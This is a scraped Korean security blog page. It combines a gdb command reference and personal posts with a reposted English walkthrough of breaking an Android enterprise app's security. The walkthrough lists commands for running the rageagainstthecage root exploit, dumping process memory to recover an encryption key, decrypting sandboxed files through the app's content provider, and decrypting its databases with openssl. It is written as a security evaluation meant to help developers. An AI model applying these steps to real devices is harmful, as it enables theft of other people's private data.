x/10x main : main 함수 시작부터 40바이트를 16진수로 출력
x/10c main : main 함수 시작부터 40바이트를 최초 1바이트 값을 문자형으로 출력
x/10f main : main 함수 시작부터 40바이트를 부동 소수점 값 형식으로 출력
x/10a main : 가장 가까운 심볼의 오프셋을 출력
x/10s main : 문자열로 출력
x/10i main : 어셈블리 형식으로 출력

29. 범위의 단위 (기본 word - 4바이트)
x/10b main : byte - 1바이트 단위 - 10바이트 출력
x/10h main : halfword - 2바이트 단위 - 20바이트 출력
x/10w main : word - 4바이트 단위 - 40바이트 출력
x/10g main : giant word - 8바이트 단위 - 80바이트 출력

30. 디스어셈블링 (disas)
disas func : 어셈블리 코드를 좀 보편적으로 보기 위한 명령어
disas 0x8048300 0x8048400 : 특정 주소 범위사이의 어셈블리 코드를 보기

31. 함수호출 (call)
call func(arg1, arg2) : 특정함수 func를 arg1, arg2 파라메터를 포함하여 호출하고, 반환값은 출력

32. 점프 (jump)
jump *0x08048321 : 해당 주소로 무조건 분기하여 인스트럭션을 계속 수행한다.
jump 10 : 무조건 10행으로 분기하여 수행한다.
jump func : func 함수로 무조건 분기하여 수행한다.

33. 시그널 전송 (signal)
info signals : 보낼 수 있는 시그널의 종류를 확인할 수 있다.
signal SIGKILL : 디버깅 대상의 프로세스에게 KILL 시그널을 보낼 수 있다.

34. 메모리의 특정 영역에 값을 설정 ( set )
set {타입}[주소] = [값] : p 명령 대신에 set 을 통해서 메모리의 특정 주소에 저장하는 것이 더 일반적이다
set {int}0x8048300 = 100 : 해당 주소에 100의 값을 입력한다.

35. gdb 환경설정 (set)
info set : 변경 가능한 환경설정 정보를 출력한다.
info functions : 함수들의 리스트를 출력
info types : 선언된 타입에 대한 리스트를 출력
set prompt psyoblade: : 프롬프트를 psyoblade: 로 변경할 수 있다.
set print array on : 배열을 출력할 때 한 행에 출력하는 것이 아니라 여러 행에 출력한다.

36. 기타 info 를 통해 알 수 있는 정보들
address catch extensions handle objects set stack tracepoints
all-registers common files heap program sharedlibrary symbol types
architecture copying float leaks registers signals target variables
args dcache frame line remote-process source terminal warranty
breakpoints display functions locals scope sources threads watchpoints

--

psyoblade님 이글루에서 펌 (http://psyoblade.egloos.com/2653919)
반응형

'작업공간 > Security' 카테고리의 다른 글

코어덤프 확인 및 생성방법  (2) 2011.06.20
[펌] OSI 7Layer  (0) 2011.06.12
ZEUS 2.0.8.9 Source Code  (0) 2011.05.16
Dump to Proccess Memory  (0) 2011.04.12
Android Reverse Engineering  (0) 2011.02.14

반응형
프로그래밍에 손을 때고 한번도 생각조차 하지 않아서 손으로 뭔가 해보려고 하면 역시 안된다. =_=

하루 약간씩 시간을 투자해서 아래 툴들을 만들어볼 생각이다.
그나저나.. 이젠 기본적인 구문 조차도 까먹어서.. 잘 될런지..;;;;;

1. 패킷 제너레이터
목적 : TEST 용
상세 내역 : 1. 다양한 프로토콜 지원 (초기버전은 HTTP 정도만 ^^;)
                2. 데이터 사이즈 조작
                3. 패딩 데이터 랜덤화
                4. IP Spoofing
                5. URL Redirect


2. IAT Rebuild 
목적 : 개인 만족
상세 내역 : 1. PE 구조 분석
                2. API 구별 및 주소 Database 축적
                3. IAT Rebuild
                4. Auto Finding to OEP (brueteForce)
           

일단 저거 3개 하는것만 해도 엄청난 시간이 걸리겠지만..
이후에 시간이 된다면 IDS도 한번 만들어 보고 싶다능.................


몸풀기로 일단 화..화며 구성이나 먼저 -_-;;;;;;;;;;
GUI 프로그램은.. 대학때 수업용도 이후로 짜본적이 없다능........... -_ㅠ

첫번째 목표로 서비스 등록하는 프로그램 만들기.. 도전~~
이라고 써놓고 언제 할진 모르겠다능~ ㅋ




반응형

'My Life' 카테고리의 다른 글

면접.  (2) 2011.12.07
IOS 5.0 으로 판올림 Upgrade.  (0) 2011.10.13
Bye CCNA  (3) 2011.05.06
나.  (0) 2011.01.05
(주)나우콤 보안사업부문 보안관제 채용  (0) 2010.10.01
반응형


메일을 확인하는데.. 난데 없이 발신자가 CISCO인 메일이 하나 왔다;;

처음에는 피싱인줄 알고 지우려고 했으나..

곰곰히 생각해보니 내가 나쁜놈들이라면... 국가 기관이나 은행 뭐 이런걸로 보내지 CISCO로 보내진 않을꺼라는 생각이 듬과 동시에


살포시 내용을 봤는데..


허거덩.. 내 CCNA는 2011년 07월 31일까지 유효하다는 거다..

내가 처음으로 딴 자격증이 만료가 되는 순간 ㅠㅠ


CCNP를 다서 연장할까? 라는 생각이 들었지만..

그 생각도 잠시..

CISSP이나 CISA 시험 볼 생각을 하니.. 달러 환율에 눈앞이 흐려지더니

결국 포기하기로 마음을 먹었다.


잘자~ 내 라이센스 ㅠㅠ

이제 니가 떠나면 든든한 국내자격증인 정보처리기사만 남겠구나 ㅠㅠ



반응형

'My Life' 카테고리의 다른 글

IOS 5.0 으로 판올림 Upgrade.  (0) 2011.10.13
프로그래밍 설계  (0) 2011.05.08
나.  (0) 2011.01.05
(주)나우콤 보안사업부문 보안관제 채용  (0) 2010.10.01
시라노;연애조작단  (0) 2010.09.09
반응형
해외 글들을 중간중간 보고 있긴한데
눈에 띄는 내용이 있길래 간단히 스크랩형식으로 글 하나 작성해봅니다.

내용은 루트킷이니 뭐니 장황하게 써놨지만

루트킷뿐만아니라 드롭퍼임에도 특정 조건에 맞지 않아서 드롭을 하지 않는 녀석(?)들에게도 통용되며 그리 어렵진 않지만 해보지 않으면 마냥 어렵게 느껴질 수 있는 그런 부분입니다.

사실.. 그냥 쉽습니다.

제가 포스팅용으로 글을 쓸 시간은 없고
아래 링크를 참조하시기 바랍니다.

저는 동영상과는 약간 틀리게하지만(툴만?) 결론적으로 따지면
특정 메모리가 할당이 되고 그 할당된  영역을 덤프를 떠서 파일로 만든다는
본질적인 것은 똑같습니다. ^^;

혹시 샘플이 있다면 아래 링크를 참조하여 직접 해보시는 것도 좋을 듯 합니다. ^^;

스크랩 :
http://www.prevx.com/blog/171/ZeroAccess-an-advanced-kernel-mode-rootkit.html

반응형

'작업공간 > Security' 카테고리의 다른 글

gdb 단축키  (0) 2011.06.02
ZEUS 2.0.8.9 Source Code  (0) 2011.05.16
Android Reverse Engineering  (0) 2011.02.14
Packet에서 File 추출하는 방법  (3) 2011.01.17
중국 해커그룹 중국홍객 일본 겨냥  (1) 2010.09.14
반응형
레티나.. 회사에는 정품을 사놨는데.. 한번도 안써봤다;;

그런데 어디선가 레티나 제품이 Free라고

하길래 다운로드 받아서 설치하는데..

맙소사.. 업데이트 되면 자동으로 업데이트도 해준다.. Free 주제에.. =_=;;(감동)

하지만 설치하고 보니.. 제한이 있는 버전 ㅠㅠ

그래도 회사에 정품이 없었으면.. 사용해볼만한(?) 스캐너인듯??





Retina Community is a free vulnerability scanner for up to 32 IPs, powered by the renowned Retina Network Security Scanner technology. Retina Community identifies vulnerabilities, configuration issues, and missing patches across operating systems, applications, devices, and virtual environments. This is just like the NeXpose Community edition
Retina Community is a good and fast vulnerability scanner for small or non-profit organizations who cannot afford to have a great security for their IT. Administrator can simply scan and get a neat report about their network infections or vulnerabilities.


써보고 느낀 점은.. 이렇게 세세히 모든걸 내가 신경쓰지 않아도 되서;;
당분간 필요하지 않겠지만
나중에 필요할 수도 있는거니까.. 일단 닥치고 습득!!


아.. 우리 고우신 레티나님의 자태!!





http://pages.eeye.com/RetinaCommunity.html




반응형

'작업공간 > Tool' 카테고리의 다른 글

안드로이드 디컴파일러(유료)  (2) 2013.02.13
Malware Crawler  (0) 2013.02.12
xwodi  (0) 2011.02.28
Twebot v3.0  (0) 2011.02.01
Reverse Engn Tool  (0) 2011.02.01
반응형
xwodi v1.0
그러나.. TEST해보지 못함..
심바인.. 망할..  =_=;;

반응형

'작업공간 > Tool' 카테고리의 다른 글

Malware Crawler  (0) 2013.02.12
Retina Free Network Scanner  (2) 2011.04.07
Twebot v3.0  (0) 2011.02.01
Reverse Engn Tool  (0) 2011.02.01
Project Blackout v2.5  (0) 2011.01.25
반응형
펌 : http://thomascannon.net/projects/android-reversing/

Last Update: 8th November 2010
Status: Complete (but may expand)

Introduction

This project all started when I was asked to take a look at a software product that was under evaluation. The software ran on mobile devices such as iPhone and Android and allowed end users to securely connect to their organisation from their personal phones. It provided a sandbox environment where company data could be viewed, and it encrypted all of it’s data. It is used by large blue chip companies and the literature claims it was evaluated and cleared by the US Department of Defence as suitable for use. I decided to verify the security myself and spent about 14 hours of my own time at home in which I was able to break the encryption and recover all data.

I cannot name the actual product but I have documented some of my technical notes below. They provide general tips, tricks and techniques that can be used by others to evaluate security of their mobile products. My hope is to also provide information for developers so that they understand where potential weaknesses are, and mitigate accordingly.

Scenario

For reference the main scenario I was working to evaluate was a common one: a user loses their mobile device or it is stolen. Because these devices are not under control of a central IT policy we have to assume that they won’t necessarily have a device level password in place. Therefore I haven’t (yet) looked at bypassing the device lockout screen. In addition, after its first launch the app I’m evaluating runs in the background in a locked state, with the user entering their password to unlock. So the scenario is that I find the device, it is running the security software but it is locked, what data can I retrieve?

Hardware & Software

The hardware I’m using is an HTC Desire running Android 2.2 (Froyo). It was the evaluation platform I had to work with and currently own, I have nothing against Android, in fact I really like it. I think the concepts will be similar for iPhone and most other capable smart phones (except perhaps BlackBerry in some cases). I also used a laptop running Linux.

Accessing The Device

A number of methods can be used to explore the device. For ease of analysis and documentation the device was accessed over USB from a Linux system using debug mode.

First the device needs to have debug mode enabled. Go to:

Settings > Applications > Development > USB Debugging

Then connect the device to the Linux host computer using the USB cable.

The software to use debug mode comes with the Android Software Development Kit which is a free download from Google. The SDK for Linux was simply downloaded and uncompressed.

First we list the devices detected by the Android Debug Bridge (ADB):

user@laptop:# ./adb devices 
List of devices attached
HT07NPL03993 device

Then we connect to a shell on the device:

user@laptop:# ./adb shell 
$

Find out what user level we’re running under:

$ id 
uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet)

We are running as user “shell” which is quite restricted and won’t be able to see much on the system. The next task is to use an exploit to gain root privileges. There are a number of exploits that currently work and a common one was chosen. Note that this is a temporary escalation and is not quite the same as “rooting your device”.

First upload the exploit to an area of the device that allows us write access:

user@laptop:# ./adb push rageagainstthecage-arm5.bin /data/local/tmp/rageagainstthecage-arm5.bin 
117 KB/s (5392 bytes in 0.044s)

Then log back into the shell, change to the exploit directory, make it executable and run it:

user@laptop:# ./adb shell 
$ cd /data/local/tmp
$ chmod 0755 rageagainstthecage-arm5.bin
$ ./rageagainstthecage-arm5.bin
[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C

[*] checking NPROC limit ...
[+] RLIMIT_NPROC={3319, 3319}
[*] Searching for adb ...
[+] Found adb as PID 7325
[*] Spawning children. Dont type anything and wait for reset!
...
[*] adb connection will be reset. restart adb server on desktop and re-login.

Re-login to device:

user@laptop:# ./adb kill-server 
user@laptop:# ./adb shell
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
#

Find out what user level we’re running under:

#id 
uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet)

And we are now root, which makes things a little easier.

Memory Dump

In Android the memory is exposed via procfs in /proc/pid/mem and having root privileges means we can directly read and write the application’s memory and even control flow of execution. The way to do this would be to attach to the app process using ptrace and use /proc/pid/map to get the memory addresses to access.

There is also another way to dump the memory of a process and it is already built into Android. First we change the permissions on a directory so the dump file can be written on the device:

# chmod 777 /data/misc 

Then we find the Process ID of our app (from a fictional company I’ve named Acme):

# ps 
USER PID PPID VSIZE RSS WCHAN PC NAME
root 1 0 344 252 c00ce65c 0000d2dc S /init
root 2 0 0 0 c0076e3c 00000000 S kthreadd
root 3 2 0 0 c0067fa8 00000000 S ksoftirqd/0
...
app_74 465 66 133776 42428 ffffffff afd0ebd8 S com.acme.android.afe
...
root 10679 1 3412 200 ffffffff 0000f474 S /sbin/adbd
root 10685 10679 744 328 c0065ce4 afd0e88c S /system/bin/sh
root 10689 10685 892 336 00000000 afd0d97c R ps

Then send a SIGUSR1 signal to the process which will cause it to dump its memory:

# kill -10 465 

In the /data/misc directory we now have the dump file:

heap-dump-tm1289007218-pid465.hprof 

Now download it onto the laptop for analysis:

user@laptop:# ./adb pull /data/misc/heap-dump-tm1289007218-pid465.hprof . 
1109 KB/s (3656449 bytes in 3.217s)

This dump file can now be opened in a memory analysis tool such as MAT but I just opened it in a HEX editor to see what it contained. I found that the memory dump contained sensitive data from inside the locked app such as email addresses, file names, server names and more.

A total of seven memory dumps were taken while analysing the app and in all cases potentially sensitive data listed above was present. In two cases the memory dumps also contained the clear text password used to unlock the app. In one dump the password was present once and in the other it was present twice. Although not consistent, when the password is present it could allow for complete compromise of the data stored in app and access into the organisation.

Reverse Engineering the Code

Android applications are mostly Java based which makes it slightly easier than normal to reverse the application code and can speed up analysis greatly. I found some useful links about Android decompiling in a blog post by Jack Mannino, so this part was pretty easy.

The following (free) tools were used:

First we get a copy of the app that is running on the device and copy to the laptop using the Android Debug Bridge from the SDK:

user@laptop:# ./adb pull /data/app/com.acme.android.afe-1.apk ./ 
1325 KB/s (5601716 bytes in 4.125s)

The apk file just downloaded is actually a zip file. After unzipping it we convert the manifest file into a readable format:

user@laptop:# java -jar ./AXMLPrinter2.jar AndroidManifest.xml >AndroidManifest.txt 

The manifest contains interesting information like permissions, intent filters, providers and lots more. There is one provider for the app I’m looking at called FileProvider which I’ll come to later:

<provider 
android:name="com.acme.android.FileProvider"
android:authorities="com.acme.android.afe.FileProvider"
>
</provider>

Back in the unzipped application package there is a classes.dex file which contains all of the main code. First this needs to be converted into a jar:

user@laptop:# ./dex2jar.sh classes.dex

This creates classes.dex.dex2jar.jar which again can be unzipped to reveal the compiled class files. These can now be opened up in JD, the Java Decompiler, to reveal a fairly close representation of the original source code. This analysis does not cover a detailed review of the code but on first glance I could see some interesting things such as static salt values (for encryption) and the method for decrypting files stored in the “sandbox” which can be invoked from an external program.

Copying the Application and Data

The app and data were extracted from the running device and migrated to a virtual Android environment. No specific attack was kept in mind for this experiment but one might conclude that it aids analysis by having the app running in a virtual environment completely under the control of the hacker. Although untested it may be possible to run and maintain the app from a PC instead of a handheld, opening it up to new risks. With some further work it may also enable an attacker to retain access to the system even when not in possession of the device. Finally, the state can be continually reverted meaning the app’s ability to lock/wipe itself after a number of failed password attempts is rendered useless.

First I pushed the busybox application to the device which will make copying easier. Then I set the path to busybox:

user@laptop:# ./adb shell 
# export PATH=/data/local/tmp:$PATH

Change to the data directory and then copy the application data to the SD Card

# cd /data/data
# busybox cp -R com.acme.android.afe /sdcard

Copy the data from the SD Card to the laptop and then push it to the Android emulator (part of the free Android SDK) which is running on the laptop:

user@laptop:# ./adb push com.acme.android.afe /data/data/com.acme.android.afe

Install the application package on the emulator:

user@laptop:# ./adb install com.acme.android.afe-1.apk

Launching the emulator I found the application ran fine.

Manually Invoking User Interface Elements

Android applications contain “activities”. An activity in Android parlance is a single focussed thing that a user can do and almost all activities interact with the user. Generally speaking, an Activity usually has its own window so that the user can interact with it.

The app I’m testing exposes a number of activities which can be enumerated from a number of places. Firstly the manifest XML decoded earlier, then the code that was decompiled and yet another great way is to query the Android system itself. Android maintains package information like Activity/Intent/Service/Provider in the PackageManagerService. You can query the service information from an ADB shell like so:

# dumpsys package > packages.txt

The packages.txt file was copied onto the laptop and searched for com.acme.android. The results showed activities such as:

com.acme.android.SecurityPreferenceActivity: 
com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity

It is possible to manually launch such an activity from the ADB shell with the following command:

# am start -n com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity 
Starting: Intent { cmp=com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity }

The app will then try to switch to the Security Preferences screen. The hope was that even though the app was locked it would allow us to navigate directly to other screens. It seems the app was well implemented in this regard and would only show the unlock screen and the password reset screen. All listed activities were tried with the same result. The app included code in each activity to check if it was in an “unlocked” state and if it wasn’t, it would jump back to the lock screen. This technique could be used to find hidden screens and jump around an application in a way the developer hasn’t anticipated so it is good design that they checked for this. That said, it is of course possible to modify the application in memory to get the unlocked test to always return true, but I did not need to go that far in the end…

Content Providers

There is no common storage area that all Android packages can access but it does allow data sharing using content providers. This is how the app I’m testing shares data with, for example, a PDF reader in order to allow the user to view a PDF stored in the encrypted “sandbox”.

In the reverse engineering section we saw that the manifest file contained one content provider called FileProvider. In the decompiled code I could see this is used to decrypt files on the fly and serve them to external applications when the user wants to view them. The next experiment will look to utilise this function by manually invoking it to decrypt stored files.

The following test was conducted on the Android device with the security app in a locked state:

Change directory to where the app stores encrypted files:

# cd /data/data/com.acme.android.afe/files

First we inspect the contents of one of the files to see if it is really encrypted:

# cat somefile
(binary data displayed)

The file appears to be encrypted. We run the command below with the intention of launching the Android HTMLViewer and requesting the file through the app’s content provider, which should decrypt it on the fly.

# am start -a android.intent.action.VIEW -d content://com.acme.android.afe.FileProvider/files/somefile -t text -n com.android.htmlviewer/.HTMLViewerActivity 

Starting: Intent { act=android.intent.action.VIEW dat=content://com.acme.android.afe.FileProvider/files/somefile typ=text cmp=com.android.htmlviewer/.HTMLViewerActivity }

On the Android device the HTMLViewer pops up and we see that the attachment has been decrypted while the app is locked without entering the password, and then rendered successfully. It was found that the same process could be used to decrypt any file stored by the app.

Stealing the Key

When first started the app does not have access to the data. Entering the password or performing the Reset Password activity decrypts the keys required to access the databases and files. The software stores lots of juicy information in encrypted SQLite databases such as contacts, configuration settings, keys and potentially sensitive data from the organisation.

SQLite is the standard way for Android applications to store data and is built-in, just like the iPhone. The standard SQLite on Android does not yet offer encryption but there are a few implementations out there including one from the makers of SQLite themselves, for a fee.

The app uses Java Native Interface to hook into a natively compiled SQLite library sitting in:

/data/data/com.acme.android.afe/lib/libdb.so

When the user enters the correct password the app initialises the database session using this modified version of SQLite 3.

Analysis of the library shows that as well as SQLite it includes functions for implementing AES encryption in CBC mode for transparently encrypting/decrypting the database files. It was similar to the open source encrypted SQLite offerings I found but not exactly the same. One similar thing I found is that when calling the library to execute SQL statements the application needs to set a PRAGMA value as:

PRAGMA hexkey='<databasekey>'

This database key is derived from decrypting (using the user’s password or reset password) the key held in the file:

/data/data/com.acme.android.afe/shared_prefs/prefs.xml

The device under evaluation had the app running and in a locked state. As shown in the Memory Dump section it was trivial to dump the memory of the running process. In every single case the memory dump contained the database key in clear text! The key didn’t change between memory dumps even after changing the password and rebooting the device. This really is the weak link. With all the fancy encryption functionality it all came down to exposing the database encryption key when calling the SQLite library and leaving it in memory.

The database key was a hex encoded string of a 24 byte key (i.e. 48 bytes), meaning that it was likely a 192bit AES key.

The app database files are held on the device in:

/data/data/com.acme.android.afe/databases/

The databases were copied to the Linux laptop and OpenSSL was then run to decrypt the databases with the key from the memory dump. An “IV” should also be supplied here but it appears one was not used so I set it to zero:

user@laptop:# openssl aes-192-cbc -in someDB.db -out someDB.db.dec -K 0123456789ABCFEF0123456789ABCFEF0123456789ABCFEF -iv 0 -d 
bad decrypt
26402:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:330:

There were some errors in the decryption, however when viewing the resulting file the contents of previously encrypted content (even content I thought I had deleted), keys, configuration and more were there in clear text.

At this point I stopped my evaluation as it was game over. Hope these tips and tricks help you out.


반응형

+ Recent posts